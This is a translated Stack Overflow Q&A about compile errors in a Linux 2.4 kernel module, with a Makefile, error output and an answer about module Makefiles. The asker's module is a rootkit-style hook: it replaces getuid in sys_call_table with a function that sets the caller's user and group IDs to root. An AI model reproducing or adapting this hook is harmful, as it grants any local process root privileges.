c - 内核模块中未声明的变量

标签 c linux makefile kernel kernel-module

我想在内核 2.4 上编译内核模块 我是内核编程的新手。 这是 Makefile:

TARGET  := hello-2
WARN    := -W -Wall -Wstrict-prototypes -Wmissing-prototypes
INCLUDE := -isystem /lib/modules/`uname -r`/build/include
CFLAGS  := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE}
CC      := `which gcc`

${TARGET}.o: ${TARGET}.c

.PHONY: clean

clean:
     rm -rf ${TARGET}.o

代码如下:

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void *sys_call_table[];

int (*orig_getuid)();

 int give_root()
{
        int x;
        if (current->uid != 0) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
          }
        return 0;
}

int init_module(void)
{
        orig_getuid = sys_call_table[SYS_getuid];
        sys_call_table[SYS_getuid] = give_root;

        return 0;
}

void cleanup_module(void)
{
        sys_call_table[SYS_getuid] = orig_getuid;
}

这是对使用旧内核 (2.4) 的 guest 学习一些东西的一种实践。 我返回一些关于未声明的 currentSysgetuid 的错误,...。 我读过一篇文章,提到在用户模式下编译这样的程序导致了这个错误,应该写一个内核模块。但是我的内核模块有这个问题!我知道我基本上做错了什么! 这是错误:

`which gcc` -O2 -DMODULE -D__KERNEL__ -W -Wall -Wstrict-prototypes -Wmissing-prototypes -isystem /lib/modules/`uname -r`/build/include   -c -o hello-2.o hello-2.c
hello-2.c:10:1: warning: "MODULE" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:12:1: warning: "__KERNEL__" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:20: warning: function declaration isn't a prototype
hello-2.c:23: warning: function declaration isn't a prototype
hello-2.c: In function `give_root':
hello-2.c:25: `current' undeclared (first use in this function)
hello-2.c:25: (Each undeclared identifier is reported only once
hello-2.c:25: for each function it appears in.)
hello-2.c:24: warning: unused variable `x'
hello-2.c: In function `hello_2_init':
hello-2.c:35: `SYS_getuid' undeclared (first use in this function)
hello-2.c: In function `hello_2_exit':
hello-2.c:42: `SYS_getuid' undeclared (first use in this function)
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `copy_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `p'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `release_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:458: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetch':/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:43: warning: unused parameter `x'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetchw':
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:48: warning: unused parameter `x'
make: *** [hello-2.o] Error 1

最佳答案

2.4 早于我的时代,但这看起来不像模块生成文件。我希望看到类似的内容:

 KDIR := /lib/modules/$(shell uname -r)/build
 PWD := $(shell pwd)

 EXTRA_CFLAGS := -I$(src)/../NTRUEncrypt/include -I$(src)/../NTRUEncrypt/src -DHAVE_BOOL -D__KERNEL__

 MODULE := aerolock
 obj-m := $(MODULE).o

 $(MODULE)-objs += __aerolock_inclusive.o
 $(MODULE)-objs += filesys.o
 $(MODULE)-objs += ../NTRUEncrypt/src/ntru_crypto_hmac.o

 ... More modules to include

 MODULE.o:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

 load:
        # load module passing
         sudo insmod ./$(MODULE).ko

 unload:
         sudo rmmod $(MODULE)

clean:
        -@rm -fr *.o $(MODULE)*.o $(MODULE)*.ko *.mod.* *.order *.symvers *.markers *.*~ *~ .*.cmd .tmp_versions ../NTRUEncrypt/src/*.o

关于c - 内核模块中未声明的变量,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22342372/

相关文章:

c# - 翻译 C unsigned long long and bitwise in for loop to c#

c - c 中的 sizeof 运算符

linux - 删除名为 ~ 的文件

c++ - 在一个线程上用 ppoll 阻塞,在另一个线程上读/写同一个 fds 是否安全?

c - C 中 shmget() 函数的权限

linux - Apache Pig 进程在 Putty session 超时后被终止

java - java的Makefile问题

regex - 在 makefile 中用 sed 匹配并替换字符串

c++ - makefile 在 linux shell 脚本中编译可执行文件

c - 在 C 中应该使用哪种数据类型来存储 999999999 之类的值?